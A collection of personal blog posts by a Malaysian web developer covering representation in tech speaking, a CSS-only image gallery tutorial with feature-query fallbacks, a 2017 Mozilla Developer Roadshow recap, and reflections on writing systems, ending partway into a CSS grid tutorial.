Michelle Obama makes some excellent points here when asked if she thought women in general have less chances to fail:

.@MichelleObama: “I have been at so many tables with so many fools...but shame on us if we sit by and let an imposter talk us down” pic.twitter.com/7yXm8tZYmz
— Channel 4 News (@Channel4News) 4 October 2017

Over the years, I've come to realise that you can't live another's experience, even if there is vivid imagery capturing the moment. So I do understand that the further away you are from my circumstance, the harder it will be for you to comprehend the points I'm trying to get across. It is akin to explaining the colours of the rainbow to a colour-blind person. But that doesn't make it any less frustrating sometimes.

Representation matters

I'm not averse to being the token Asian, or token female speaker at a conference, because I'm still naive enough to believe that if I do an excellent job, people won't even notice my gender or ethnicity. Aysha and I both agree that we will take what we can get, because right now, there isn't that much to go around. But hopefully that will change for the better.

Some people might think what I'm saying is rubbish, but I do believe that life is not fair. None of us chose where we were born or to be born at all for that matter. Nobody would choose to be born in a war-torn area shelled by artillery day after day. The circumstances in which we were born into dictate how far behind the finish line of success we start off on, and that can't be helped.

Perhaps it's because I'm new to this speaking thing, but at the back of my mind, I always wonder if audiences will just switch off during my session and wait to get to the good stuff by the big name speakers. Like being the opening act for the main event. But because I tend to live in my own head, once I start speaking, I really get into it (I can't help it, I love my subject matter 🤷).

Thus far, I've been treated with nothing but kindness during my various speaking stints. And I truly appreciate how sweet the audiences have been, the people who come up to me after my session to tell me they enjoyed it, the often-amusing tweets I see on my timeline after the fact.

The most memorable moments came from when I was speaking at the Malaysia stops on the Mozilla Developer Roadshow. It never occurred to me that local audiences would be interested in a local speaker when there were Westerners around. In hindsight, I probably do have some subconscious bias against locals from years of being inundated with media portraying Westerners as superior when I was a kid. I'm not proud of it.

So when I opened my Kuala Lumpur talk with “Saya bangga jadi anak Malaysia”, and received a warm applause from the audience, it was the most amazing feeling. That phrase translates to “I am proud to be Malaysian”, and I believe it with every fibre of my being. At the Penang stop, one of the people who came up to chat with me afterward even mentioned that some people probably came just to see my session, because I was a local name. And that just blew my mind.

Now when I think about how I feel when I see our national athletes do well at the Olympics, or when I see Michelle Yeoh kick ass on the silver screen, or when I discovered that Captain Philippa Georgiou of the USS Shenzhou is canonically Malaysian 🖖, I realised that representation does matter.

The local community does care when one of our own does good. And that only fuels my motivation to be excellent, especially when I get the chance to stand on an international stage. And hopefully, somebody will see us and think, if she can do it, I can do it too.

Building a CSS-only image gallery (with fallbacks)

Sun, 08 Oct 2017 00:00:00 GMT

This article has been translated to Japanese on SeleQt.

Sometimes, we get handed a project in which we have almost complete creative control and free-reign to do pretty much whatever. I consider myself pretty lucky to have had 2 such projects since the start of my web development career. The latest one being the website for Wismut Labs.

I sort of talked about how the website itself got built, from the branding, to the design and actual code, if you're interested. To me, projects like these are like going on vacation, because a typical project involves a lot more stakeholders, more considerations and more compromise (on a myriad of things).

But I digress. The point today is to talk about building an experimental CSS-only image gallery, which doesn't break the experience even on older browsers. The point of an image gallery is to view images. How said images are displayed on every browser doesn't have to be identical. The TLDR is I built a little image gallery for one of the Wismut Labs blog posts.

CSS-only image gallery

A little bit of back story to how this experiment came about. I have a designer friend who was asking my opinion on a website she was designing for and one of the features was an image gallery with a slider. The site was for a company which sold second-hand CNC machines.

The purpose of having an image gallery with the slider was to allow potential buyers to view the machine from as many angles and close-ups as possible. Quite reasonable, if you ask me. But I also wondered if I could build that without the use of JavaScript, and after a little bit of research, I found out that it was totally possible.

First, let's break down the requirements for an image gallery with a slider. We'll need an image displayed at a reasonably large size at all times, as well as a set of thumbnails for all other images in the gallery. The displayed image should correspond to the thumbnail being clicked on, making the thumbnails the navigation for the gallery.

Keep in mind that this is just one type of image gallery with slider, and there are a myriad of behaviours for such a component, which will require different techniques to build. But for the one I just described, the relevant CSS properties to achieve the desired behaviour is as follows:

{/_ prettier-ignore _/}

I like to do my demos stand-alone, just so I can get an accurate grasp of exactly what code is needed without worrying about how to integrate the component into the larger context of a website. We can worry about that bit later.

One thing I wanted to experiment with was to keep the aspect-ratio true to the original images regardless of how the viewport size changed. And also, whether it was possible for the image gallery to never exceed the bounds of the viewport.

This is Chinese supermodel, Liu Wen, who features in this demo

The markup for the gallery involves 2 lists of images, the display images and the thumbnails:

<div class="container">
  <ul class="slides">
    <li id="slide1">
      <img src="https://cdn.rawgit.com/huijing/filerepo/gh-pages/lw1.jpg" alt="" />
    </li>
    <li id="slide2">
      <img src="https://cdn.rawgit.com/huijing/filerepo/gh-pages/lw2.jpg" alt="" />
    </li>
    <li id="slide3">
      <img src="https://cdn.rawgit.com/huijing/filerepo/gh-pages/lw3.jpg" alt="" />
    </li>
    <li id="slide4">
      <img src="https://cdn.rawgit.com/huijing/filerepo/gh-pages/lw4.jpg" alt="" />
    </li>
    <li id="slide5">
      <img src="https://cdn.rawgit.com/huijing/filerepo/gh-pages/lw5.jpg" alt="" />
    </li>
  </ul>

  <ul class="thumbnails">
    <li>
      <a href="#slide1"><img src="https://cdn.rawgit.com/huijing/filerepo/gh-pages/lw1.jpg" /></a>
    </li>
    <li>
      <a href="#slide2"><img src="https://cdn.rawgit.com/huijing/filerepo/gh-pages/lw2.jpg" /></a>
    </li>
    <li>
      <a href="#slide3"><img src="https://cdn.rawgit.com/huijing/filerepo/gh-pages/lw3.jpg" /></a>
    </li>
    <li>
      <a href="#slide4"><img src="https://cdn.rawgit.com/huijing/filerepo/gh-pages/lw4.jpg" /></a>
    </li>
    <li>
      <a href="#slide5"><img src="https://cdn.rawgit.com/huijing/filerepo/gh-pages/lw5.jpg" /></a>
    </li>
  </ul>
</div>

The thumbnails and the display images are the same, I figured since I had to load the display images anyway, might as well just use them for the thumbnails and style them accordingly. That way I didn't have to prepare a second set of images for thumbnails and load those.

You'll notice that the display images all have an ID and each of the corresponding thumbnails have an href to those IDs. This is necessary for the :target pseudo-class selector to work, which allows us to apply styles to the target element of a URI containing a fragment identifier.

Because the images I chose to use for this demo are oriented in portrait, I decided to make the thumbnails display in a column on the right of the display image. object-fit allowed me to crop the portrait images to a landscape orientation and position them such that the focus of the image is still on key content (e.g. the model's face).

.thumbnails {
  display: flex;
  flex-direction: column;
  line-height: 0;

  li {
    flex: auto;
  }

  a {
    display: block;
  }

  img {
    width: 30vmin;
    height: 20vmin;
    object-fit: cover;
    object-position: top;
  }
}

The trick to keeping the image gallery within the bounds of the viewport at all times is the vmin unit. It refers to the 1% of either the viewport width or height, whichever is smaller at the moment. By setting the height of the gallery to 100vmin, we can be assured that the gallery will never overflow the viewport.

.slides {
  overflow: hidden;
  width: 75vmin;
  height: 100vmin;

  li {
    width: 75vmin;
    height: 100vmin;
    position: absolute;
    z-index: 1;
  }

  img {
    height: 100vmin;
    object-fit: cover;
    object-position: top;
  }
}

Another part of the slider, is inevitably, the sliding effect, which can be achieved with the help of CSS transforms and animations. The premise of this technique is to have all the display images translated upward 100% of their height, and have them revert to their original position when their respective thumbnail is clicked on.

The keyframes are very simple (I did not bother with any elaborate timing functions, and you're free to improve on this) and linear. These animations are triggered with the :target selector.

.slides li:target {
  z-index: 3;
  -webkit-animation: slide 1s 1;
}

.slides li:not(:target) {
  -webkit-animation: hidden 1s 1;
}

@keyframes slide {
  0% {
    transform: translateY(-100%);
  }
  100% {
    transform: translateY(0%);
  }
}

@keyframes hidden {
  0% {
    z-index: 2;
  }
  100% {
    z-index: 2;
  }
}

The end result can be seen in the CodePen below. Not too much code, and even works in IE11, because the :target selector has been supported since IE9. It's just that IE11 doesn't support object-fit so the thumbnail aspect ratio is very skewed.

See the Pen Responsive CSS vertical slider with thumbnails by Chen Hui Jing (@huijing) on CodePen.

Which leads to the next relevant point of discussion: feature queries.

Feature queries...again?

Yes, my friend. Feature queries, all day, every day. I'm going to keep talking about feature queries until the cows come home. At least till there's a better solution (but I think this is a pretty sweet solution already).

Honestly, the existence of feature queries has changed the way I think about doing web design, and flipped a switch in my brain to start embracing the fact that different browsers will sometimes render things differently, so why not make use of it?

For this CSS-only image gallery, the least supported property is object-fit followed by viewport-percentage lengths. The logic behind this approach is to assess the properties critical to the functionality of the feature you're trying to build, then determine how to break down the layers of support.

I attempted to integrate the image gallery into an existing site, with an existing code-base, and lots of other elements on the page besides the gallery, which meant the vmin approach had to be modified somewhat.

Basic fallback first

Although I start off with the end result in mind, I always think about the opposite end of the spectrum, which is the base level display of the components with none of the features. For an image gallery like this, it'll be a list of images (albeit with a little bit of styling).

I chose to display the images in columns as the viewport size grew larger, using the most basic layout technique, inline-block. Given this wouldn't be a slider at all, the thumbnails became unnecessary.

.container {
  text-align: center;
  margin-bottom: 1em;

  ul,
  li,
  img {
    margin: 0;
  }

  li {
    list-style: none;
  }

  .slides {
    display: inline-block;

    li {
      width: 10em;
      display: inline-block;
      vertical-align: top;
      margin-bottom: 0.25em;
    }

    img {
      width: 100%;
    }
  }

  .thumbnails {
    display: none;
  }
}

Layer it on

There isn't sufficient real estate on a narrow screen for the image gallery either, so the code for the image gallery kicks in beyond the minimum screen width of 540px. Anything less than that gets the images in a list. Trade-offs 🤷.

A quick run-through of the CSS properties needed for the slider to work reveals that the least supported property is object-fit. There is no hard and fast rule for what to use in your feature query because every context is different. For this particular case, I went with object-fit as the basis of my feature query because it was the least supported of the lot.

@media screen and (min-width: 540px) {
  @supports (object-fit: cover) {
    .container {
      display: flex;
      justify-content: center;
      margin-bottom: 1em;

      .slides {
        overflow: hidden;
        width: 50vmax;

        li {
          position: absolute;
          z-index: 1;
          width: initial;
          display: block;
        }

        li:target {
          z-index: 3;
          -webkit-animation: fade 0.6s 1;
        }

        li:not(:target) {
          -webkit-animation: hidden 0.6s 1;
        }

        img {
          width: auto;
          object-fit: cover;
          object-position: top;
          height: 37.5vmax;
        }
      }

      .thumbnails {
        display: flex;
        flex-direction: column;
        line-height: 0;
        width: 13.75vmax;

        li {
          flex: auto;
        }

        a {
          display: block;
          border: 0;
        }

        img {
          object-fit: cover;
          object-position: top;
          width: 100%;
          height: calc(37.5vmax / 7);
        }
      }
    }
  }
}

The end result looked something like the video below (I'm not good at doing screen recordings tbh). Is it the best image slider ever? Definitely not. But it worked for the context in which it was used.

Sorry, this is a terrible screen recording

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

There may be instances where the component you're trying to build works incrementally for the CSS properties required. In that case, you may have multiple feature queries, providing an even more nuanced level of feature support.

Again, these decisions may or may not be trivial depending on the scope and context of your project, but feature queries are an incredibly useful tool in our arsenal and we should be skilled enough to wield them masterfully regardless of whether they are used in every project or not.

Sidenote: copy and paste is not integration

It's pretty common to find code snippets online for various functionalities like carousels, tabs, loaders etc. and a lot of them are written well, but simply copying and pasting them into your own project without an understanding of how the underlying code works tends to break things.

Integrating someone else's code seamlessly into your own project is an underrated skill, IMHO, because it requires you to be as proficient, if not more so, than the original author in order to discern which parts of the code are relevant to the functionality you need, and which can be discarded.

Wrapping up

As I continue to delve and experiment with various CSS properties, feature queries will remain a key ingredient in my code. I can't force anybody to use feature queries, but I do hope a handful of people who read this or see some of my demos feel curious enough to try them out.

I'm no expert, so I'm constantly tweaking, building and breaking stuff as I attempt to code whatever tickles my fancy at the moment. Did you know someone once said, the only way to get better at CSS is to CSS more (actually no, he was talking about running, but running...CSS...same difference, no? 😛) Till the next one!

Talking about talking CSS

Thu, 21 Sep 2017 00:00:00 GMT

This is almost a live recap of my tour of South-east Asia (and Hong Kong) this month (September 2017) and will be updated as things chug along. There's also a long introductory passage about public speaking, skip if you're not interested.

15 days, 7 talks, 5 countries

Form Function Class 8 @ 🇵🇭
Mozilla Developer Roadshow @ 🇸🇬
Mozilla Developer Roadshow @ 🇻🇳
Mozilla Developer Roadshow @ 🇲🇾 (Kuala Lumpur)
Mozilla Developer Roadshow @ 🇲🇾 (Penang)
Mozilla Developer Roadshow @ 🇭🇰
Harbour Front @ 🇭🇰

About speaking at conferences

How would you feel if you're given the opportunity to talk about one of your favourite things in front of a large group of people? For the little group of people who have attended Talk.CSS before (I LOVE you all), it seems like I'm pretty okay with public speaking, and honestly, I generally am. But an “official” event, like a conference (or anything with a budget, actually), does feel different.

I know that Chris and I often joke that we're flying blind when it comes to Talk.CSS, and that's largely true, and we do a lot of improvisation and ad-libbing for that, but meet-ups are generally quite casual and relaxed. Conferences (and events with a budget), at least to me, come with a greater responsibility and an air of professionalism.

Professionalism is NOT something that you'd usually associate me with. If you've met me, you know this. Monkey is probably a closer association. But I do have a “adult-mode” switch that I can, and will, turn on when the need arises. Conferences (and events with a budget) are situations that require some serious adulting.

My first full length talk took place this year at the inaugural Webconf.Asia in Hong Kong back in June. The speaker line-up included well-known and experienced speakers like Heydon Pickering and Andrew Betts. I think I came after Dietrich Ayala (another powerhouse speaker), and I was way more nervous than I thought I would be.

Luckily, once I started, the nerves started to fade. I think nerding out about CSS makes me so happy that it overrides any other emotion I may be feeling at that time. It's almost the same as when you're “in the zone” when playing basketball.

The first time I was flown out of Asia for a talk was for pitercss conference in Saint Petersburg. I'd never even been anywhere close to Europe before, so I chose to fly out a week before the conference just to spend more time there.

The conference was amazingly well-organised, and the turnout was fantastic. Words are insufficient to describe the experience, but there will be video released later so check back for the link. Met so many wonderful people here, like Vadim Makeev, Aga Naplocha and the Viennese Mafia of Eva Lettner, Andrey Okonetchnikov and Manuel Matuzovic.

I've had the privilege to do quite a bit of speaking this year, and I'm so grateful to every organiser who chose to take a chance on me, a literal no-name speaker, and all the audience members who came up to me after to chat and tell me they enjoyed my session. It really means a lot to me.

There are a lot of developers from South-east Asia who do great work, it's just that there isn't that much visibility on them. I don't often see speakers from my region in international conferences, and I do feel an added responsibility to represent us in the best possible light.

🇵🇭 @ Form Function Class 8

Speaking FFC8 is definitely going to rank as one of my top experiences ever. First of all, FFC5 was my first ever conference as an attendee, and I truly experienced Filipino hospitality at its best. This time I was attending as a speaker, presenting a brand new talk about CSS layouts, AND I had the ridiculous idea of doing a small snippet of live-coding on stage.

Wondering what past me was thinking when I thought live-coding was a good idea, haha (joking...a little bit)

Even though I rehearsed the talk a number of times, there were no guarantees that things wouldn't go wrong and there was a bit of a snag in terms of the set up. But I changed how the code was presented at the last minute so there was way less typing involved. Really relieved things didn't go badly 😌.

What I did not expect, was the overwhelming response when I finished my session (a few people at the back actually stood up 😍). I was just hoping that the audience wouldn't find my talk boring (because I have had people fall asleep in front my face, 🤷) so this was amazing. It might have also been the fact that I managed to weave in Beyoncé into the talk somehow 😎, so I would also like to thank Queen Bey for this successful talk.

There are lots of photos of the conference on Facebook, and here's a highlight video.

🇸🇬 @ Mozilla Dev Roadshow Singapore

Landed back home for a couple days and also the very first stop of the Mozilla Developer Roadshow. Because Singapore is sort of my home base, I naturally strong-armed everyone I knew to show up for this. Why I still have friends left is a mystery to me 😈.

The line-up for the Singapore stop was packed, and we had THE Jeremy Keith doing what I personally think is one of the most inspirational tech talks I've ever heard, on Evaluating Technologies. And to hear it live was such a wonderful experience.

My session actually stuck between two of the biggest names in web development, Jeremy Keith and Vitaly Friedman of Smashing Magazine, so forgive me if I was just a little bit stressed. AND my iPad, which was a pretty critical part of my talk setup, decided it was the best time to have a hardware failure.

But the advantage of being at home is that I was surrounded by familiar faces and managed to cobble together a temporary solution, thanks to my shifu, Michael Cheng, who generously just lent me his iPhone instead. Michael, you awesomez!

Jeremy wasn't joining us for the rest of the trip and we had to say goodbye at the end of the event. But I did manage to hang out with everyone to nerd out about the web in general the night before. We even had an action item to file a bug, because Vitaly, Markus Seyfferth and I concluded that Chrome had a bug with CSS grid for print stylesheets.

Jeremy also suggested to do this recap of the Roadshow experience and so I'm writing this blog post 🙆. The talk that I did this time was a variant of the one I did at FFC, but Bruce Lee replaced Beyoncé. I also think this is the first time a lot of my friends have seen me turn on “adult mode”, so that was kinda fun. Elisha Tan (the superwoman running TechLadies) said it best:

“You know it's big business when Huijing Chen styles her hair and says no hokkien.” (photo credit: Elisha)

There's also a fantastic team working on capturing the best parts of the entire roadshow. I think full length talks will be released as well, so stay tuned. Subscribe to the Mozilla Hacks Youtube channel!

🇻🇳 @ Mozilla Dev Roadshow Ho Chi Minh

Next stop, Vietnam! I'd only ever been in Ho Chi Minh for a grand total of 6 hours before this, so it was nice to be able spend a bit more time here. One thing that I tell every one who will listen is that Vietnam has a lot of talented developers, who are working on really cool projects that make use of cutting edge technologies, it's just that nobody has really shone a spotlight on this region. Yet.

We had the chance to meet with teams working on VR projects, and even though what we played with were prototypes, they felt way more polished than some commercial products I've seen before. The audience was smaller than in Singapore, but that also gave everyone more time to connect with each other and try out the webVR kits and play around with A-Painter.

I tried A-Painter for the first time ever, and it was amazing. To quote Fabien Benetou:

You may think you know VR, but until you put on the headset, you don't.

As someone who played a lot of video games growing up, using the controllers was super intuitive. Think Nintendo Wii style nunchucks (but not really), in both hands. It's really fun to be able to draw and create in a 3-dimensional space. But my favourite thing (because I'm weird) was the teleportation function, where after you draw a bunch of stuff, you can just teleport yourself some distance away to admire your handiwork.

No idea what I found so fascinating on the floor though

Now that I've done the semi live-coding thing on my slides twice before, I was less nervous about the setup not going to plan, because yet again, my extended screen glitched and I ended up having to look at the main screen and type with one hand (because microphone). Turns out the first time in Manila was the most successful attempt 🤣.

Also met a fellow Malaysian, Ondris Pui, who's currently lecturing at the Ho Chi Minh campus of RMIT, as well as Jolanda Tromp, who's a researcher at Duy Tan University focused on user-centred AR/VR. Lots of interesting conversations with interesting people doing interesting stuff.

🇲🇾 @ Mozilla Dev Roadshow Kuala Lumpur

Even though the event is said to be in Kuala Lumpur, a local will tell you, technically Cyberjaya isn't really KL. But tomayto, tomahto 🤷. This is the only weekend event scheduled, and it was a full-day thing, with 3 talks in the morning, a nice leisurely lunch break, then 3 more in the afternoon.

So glad that there was time for David's talk this time

David Bryant rejoined our motley crew and gave a longer version of the emerging technologies talk, which included a fascinating section on WebAssembly, as well as the research coming out of Mozilla on speech interfaces. Also, Dietrich joined us for this leg of the roadshow! And somehow I was scheduled immediately after him again 🤣.

Class photo time! (someone is missing)

And I didn't anticipate this at all, but there was a warm, fuzzy feeling to speaking in my own country ❤️. It was the first time I did a talk in Malaysia. I don't expect everyone to understand this, but that moment when I mentioned “Saya bangga jadi anak Malaysia”, and the audience applauded, will be one of the highlights of this roadshow for me.

As someone who had the privilege and honour of representing the Malaysia women's basketball team once in my life, I suppose this idea of being a representative for your country is a bit more emotional to me than most other people. Maybe. (Or I'm just a weird person)

Feeding the cats...

Anyway, my overly complicated talk setup went wrong again, this time, the resolution on the iPad was so off that I couldn't read a single word of my speaker notes. Guess it's a good thing I already did this talk a few times. But flying blind meant that I probably didn't keep to time that strictly. I just want the setup to work perfectly once. Just one time on this hectic tour 🤞.

🇲🇾 @ Mozilla Dev Roadshow Penang

Penang has and will always have a special place in my heart. Even though my family moved away from Penang when I was 4, our household was completely Penangite. I remember learning to read English with my mum, and learning to write Chinese with my grandma, but I came out of the womb speaking Penang Hokkien.

Penang Hokkien is very distinct, and because it's not commonly heard outside Penang, I'm very attuned to anyone speaking it. Imagine being constantly surrounded by people speaking differently from you almost all the time, then suddenly finding yourself surrounded by people speaking exactly the same way you do. It's an indescribable feeling.

Penang is all about the food

We had a new friend join us on this leg of the tour, Mozilla representative and Infosec researcher, Mijanur Rahman Rayhan, who is based in Bangladesh. He kicked things off with a great talk about privacy and security. Be sure to check out his blog too!

Remember how my talk setup has never worked correctly? Ever? Well, turns out fourth time's the charm! 🙆 This time, the screen resolution was perfect, nothing died mid-way while I was speaking, and the talk went pretty smoothly. And I made sure to weave in 「我是庇能出世的孩子」(of course spoken in Penang Hokkien) into my introduction. (translates to “I was born in Penang”)

Charis in action!

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Dietrich was super entertaining as usual, and we had to say good bye after this because he was off to India next. We also had a super cool local artist, Charis Loke doing a live demo of A-Painter, her artwork was fantastic. And it was all live!

Lovely people who came to the event

I also got the chance to chat with lots of lovely Penangites after the talks were over, about Penang, about speaking, about tech in Penang and Malaysia in general, and all sorts of other things. I might be part of DevFest Penang (I think that's what it's going to be called) in November as well. We'll see how that goes 🙃.

🇭🇰 @ Mozilla Dev Roadshow Hong Kong

It's the grand finale of the Mozilla Developer Asia Roadshow and it has been an amazing experience all around, with some fantastic people. I had recently been in Hong Kong, back in June, for Webconf.asia, which was my first ever full-length tech talk. That talk went reasonably well, and I was pretty happy to be back here again.

Have to get some exercise in with Fabien and Markus

The gang wasn't all staying at the same hotel this time because of some booking issues but we were still in close enough proximity with each other. If you've never been to Asia, and hear that Hong Kong and Singapore are the same, you're sadly mistaken. Asia (and to be fair, almost anywhere else in the world) is like VR, until you've experienced it first-hand, you don't know what it is.

The vibe that I get from Hong Kong is that it's a bustling, modern city, and yet it retains a lot of its unique flavour, from the narrow alleyways, neon billboards and shop signage. It has a much more organic feel than Singapore, with old sidled right up with new. If I was a better writer, I'd have better words to explain this, but I'm not, so 🤷.

For this stop, we had Brian Birtles and Daisuke Akatsuka presenting on web animations as well as the Firefox Devtools that let us troubleshoot them. Totally blew my mind. I had been using Nightly since last year, so I felt like I had been living under a rock because I sort of always just glazed over the Animations panel and went straight for the Layout panel.

Really informational AND fun talk on web animations

One of the best parts of this roadshow is the opportunity to meet really interesting people, and Hong Kong definitely did not disappoint. We went out for food and drinks after the event with Jason Li and Tricia Ling. Jason is a cartoonist and designer who is based in Hong Kong at the moment, and he's working on a graphic novel called The House on Horse Mountain. He also made really cool sketchnotes of the entire event 😍!

Sketchnotes for the win!

As the roadshow draws to a close, I must say that this has been a fantastic experience. It was intense and a little bit hectic, but I learned a lot, not only about technical stuff like webVR and animations, but also things like video editing, organising events, how to make your talk more compelling and so on.

I really appreciate the opportunity to be part of this roadshow and it has been a privilege to get to know each and every person on this team. Barry Munsterteiger, who literally made movie magic with all the footage we got. Sandra Persing and Ali Spivak, who put this whole event together. Markus Seyfferth, who gave me really great advice on improving my talk and my presentation slides. And all the other speakers, Fabien Benetou, Jeremy Keith, Vitaly Friedman, Dietrich Ayala, David Bryant, Mijanur Rahman, Brian Birtles and Daisuke Akatsuka, I loved meeting all of you ❤️❤️❤️.

🇭🇰 @ Harbour Front

If the Mozilla Developer Asia Roadshow was a concert tour, then the Harbour Front meetup was an unplugged session. No video crew, no fanfare, just you, me and some CSS. I re-did the talk I gave at Form Function Class, but added a bit about Viewport-percentage lengths.

It wasn't the rehearsed, down to the minute, polished version of the talk. I just riffed off whatever came up on the slides and talked about CSS and web layouts like I would in a casual conversation. The vibe was more relaxed and it was nice to have that after the intensity of the roadshow.

Regardless of setting, the hands gotta flail

The venue was at the Hive in Wan Chai, and it wasn't a very big space, which made the whole feel more intimate. Using someone else's laptop to present was also fun, because there were several instances of browser inconsistency bugs in my slides 😌.

Also had some nice conversations with a few designers and developers, and managed to help out someone who was trying to build a music app that displayed chords above song lyrics. Turns out the HTML ruby element could be a potential solution for his use case.

Anyway, it was my last night in Hong Kong, as well as the last night of this whirlwind of a tour. No better way to end the trip than at the tallest sky bar in the world (at least for now), with a great view and even better company 😘.

Quite a view from 490m up

Wrapping up

So that's it. 15 exciting days that literally just flew by. It was a super rewarding experience and will definitely be one of the highlights of my 2017. I'm a little bit talked-out for now, but no worries, after a brief hibernation period, I'll be back at it again with added gusto (because Jeremy thinks I “presented with gusto”) 😆.

Thoughts on the world and our writing systems

Tue, 12 Sep 2017 00:00:00 GMT

There was a discussion recently among the Bettes about the phrase ‘Latin-type‘ when Sahar Afshar asked the question of what would be a good alternative to the phrase ‘non-Latin type‘. It got me thinking, because I realised I did not have a good alternative to that phrase at all.

We had several suggestions, like ‘global scripts’, ‘world scripts’, even ‘across scripts’ (to include fictional unworldly scripts), but the key point here was that Latin scripts are generally viewed as the default. Most of the literature and discourse on typography we have today is Latin-centric to begin with. To ask the question of why this is so, inevitably will bring us to the topic of power and influence on a global scale.

My thoughts on this issue are based on my experiences as someone who was born and bred in South-east Asia, a region that was heavily colonised by Europe from around the 16th century up until the 20th century. I once came across an epic publication known as The Histomap, which attempted to condense four thousand years of world history, in terms of relative power among contemporary states, nations and empires, onto a single, albeit very long, poster.

A key takeaway I got from this visualisation is that power has always waxed and waned across civilisations. It just so happens that in this day and age, a majority of this relative power currently lies with Europe and North America, AKA ‘The West’. Humanity itself is a very complex topic that some people spend their lifetimes researching. There are countless theories on society and culture, and almost all of them have their own salient points.

The basis of every theory and argument stems from an author's mind, and their mind is able to formulate ideas and thoughts based on their life experiences. The books and papers they have read, the people they have interacted with, the environments in which they have lived. True objectivity is a myth, simply because no human being can possibly experience the world from every view point. With that being said, let me share some of my thoughts.

Although we can and do communicate in a myriad of ways, writing is the dominant method of human communication, and was essentially what advanced human civilisation from prehistoric times. The term ‘prehistoric‘ itself implies that history only began when human beings could record it.

There cannot be writing without language. And although there are cultures in the world that do not have a written language, but they are now few and far between. Writing is essentially the solidification of an idea, giving it some permanence as a record, as opposed to the spoken word, which relies on human memory. Given that culture is defined as the ideas, customs, and social behaviour of a particular people or society, language and culture are very closely intertwined.

When I think about language I always wonder how much of an impact does the language itself affect our thinking and the way we see the world around us. I remember coming across a few articles that went along the lines of ‘Awesome German words that English needs‘ or something like that. There are many Japanese and Chinese phrases that simply cannot be translated into English because they convey a concept that no English words can map to.

I grew up speaking both Chinese and English and I did not realise that I thought in two different languages at the same time, as there are certain concepts that are culturally Chinese which can't really be expressed accurately in English.

For example, the phrase 孝顺 (xiàoshùn) is translated filial piety. The dictionary explanation of filial is relating to or due from a son or daughter or denoting the offspring of a cross, which isn't what 孝顺 really means in Chinese. And I still am unable to explain the phrase 默契 (mòqì).

The reason I brought this up was to highlight the cultural differences between societies that speak different languages. Bringing it back to the topic of power and global influence, geography and the environment in which these cultures developed seemed to play a significant factor in determining their behaviour and beliefs.

If we attempt to trace the history of the myriad of writing systems still in use today, it seems that there were three points of origin, Mesoamerica, Mesopotamia and China. The scripts over most of the Eurasian and African land mass, with the exception of Han scripts, have their roots in systems Egyptian hieroglyphs and consequently, the Proto-Sinaitic script.

In spite sharing the same land mass, Han characters were developed independently in China, potentially dating back to the Neolithic period. A key milestone in the development of the Chinese language was the standardisation of Chinese characters by the First Emperor, Qin Shihuang.

The Americas developed their own scripts and writing systems as well, which were a combination of logographic and syllabic writing. Unfortunately, much of their literature has been lost due to European conquest and proselytizing by religious missionaries.

Which brings me to my next point of the role of religion in the spread of languages. An idea put forth by Marisa Powell in her article entitled Spread of Language, Spread of Religion is that a power base is necessary for the spread of a language. And if we think about it, there simply is no greater force that can shape humanity than religion.

Gurnek Bains, author of Cultural DNA: The Psychology of Globalization, makes a suggestion that societies which exist in environments where resources like food and water are plentiful versus those that survive under harsh, dry conditions where resources are scarce, ended up with different cultural norms. He observed the pattern that societies of plenty tend to be more tolerant than those of scarcity.

The monotheistic religions that dominate the world today originated from desert environments. Such harsh conditions promote binary thinking in terms of definitive cause and effect, for example, if you do not find water, you will die. In essence, viewing survival as a zero-sum game. It could be such an environment that encouraged these religions to actively proselytise and even wage wars in the name of their beliefs.

Hester, I've seen people try to divide the world. Simplify it. Create clear rules. I understand why you want to. But it leads to nothing good.
— Max, Channel 4's Humans

Dutch also suggests that the ”hard-headed dualism born of the desert, moderated somewhat so that the obsession with patriarchy and status is somewhat diluted, might be just what would be needed to permit the emergence of science.“ Just one of many theories to why the Scientific Revolution occurred in Europe, but it does seem reasonably plausible.

There was also the issue of timing. The Chinese were relatively open and receptive to the outside world during the Yuan dynasty, and by the Ming dynasty during the early 15th century, Zheng He commanded one of the grandest naval fleets around the world, establishing China's global reputation through diplomacy as much as possible, though never shunning from using military might when diplomacy failed.

The Ottoman empire was also rose and thrived from the 11th century through to the 16th century, which at it's peak covered territories across areas of Turkey, Egypt, Greece, Bulgaria, Romania, Macedonia, Hungary, Israel, Jordan, Lebanon, Syria, and parts of the Arabian Peninsula and North Africa. Both these powers were on the decline when Europe started its own age of expansion and discovery from the end of the 15th century to the 18th century.

Greatly aided by the development of new technologies during the Industrial Revolution, Europe soon became the prevailing world power through their rapid colonisation of territories, extracting valuable resources and labour, in addition to developing trade routes, to increase their wealth and geopolitical power. And the recency of that legacy is what colours the world we live in today.

The colonial powers of Spain, Portugal, England, France and the Netherlands all used Latin scripts for their writing systems. As such, it is no surprise that Latin alphabets replaced the earlier Arabic and indigenous Brahmic scripts that were used for various Austronesian languages in former European colonies, like Malaysia, Indonesia and the Philippines.

And so here we are, in the 21st century, where the world seems to be as messy and chaotic as it always has been throughout the course of human history. We just have a different set of problems from generations past. It is doubtful that we will ever escape the human condition, but it will be interesting to think about how the world might be in another century or two, even if we will no longer be here to witness it.

Basic grid layout with fallbacks using feature queries

Sat, 09 Sep 2017 00:00:00 GMT

This article has been translated to Japanese on SeleQt.

I've been using CSS grid (which henceforth will be referred to as Grid) for quite a bit now, and although I often talk about how we can use grid to make all kinds of creative layouts, I'm fully aware that a basic grid is still a design pattern that is very much in demand on the web.

Many conversations with fellow developers about using Grid involve the dreaded “but” statement, i.e. “but what about older browsers? I have to support *INSERT_RANDOM_OLD_BROWSER_HERE*”. And it's totally understandable, because I also realised that not enough people know about the magic that is Feature Queries.

This post got too long again 😌, so here's a table of contents, if there's a particular section you're interested in. And source code for the demo is available on GitHub.

The inline-block layout
The float layout

Bedgy, that’s like, basic and edgy

A little bit about box alignment

Why hello, Grid, you revolutionary, you…
Altogether now
Useful resources

Falling back with grace

The @supports rule, AKA feature queries, is a conditional group rule whose condition tests whether the user agent supports CSS property:value pairs. In plain English, it's an if statement to check if the browser supports a particular CSS property.

Here's how support for it looks like right now:

Can I Use css-featurequeries? Data on support for the css-featurequeries feature across the major browsers from caniuse.com.

I can already sense your eyes fixated on the column of red that is Internet Explorer, but stay with me and don't throw in the towel on feature queries yet. How feature queries work is that, for browsers that don't support it, all the styles within the @supports block is totally ignored.

Let's examine this basic example:

main {
  background-color: red;
}

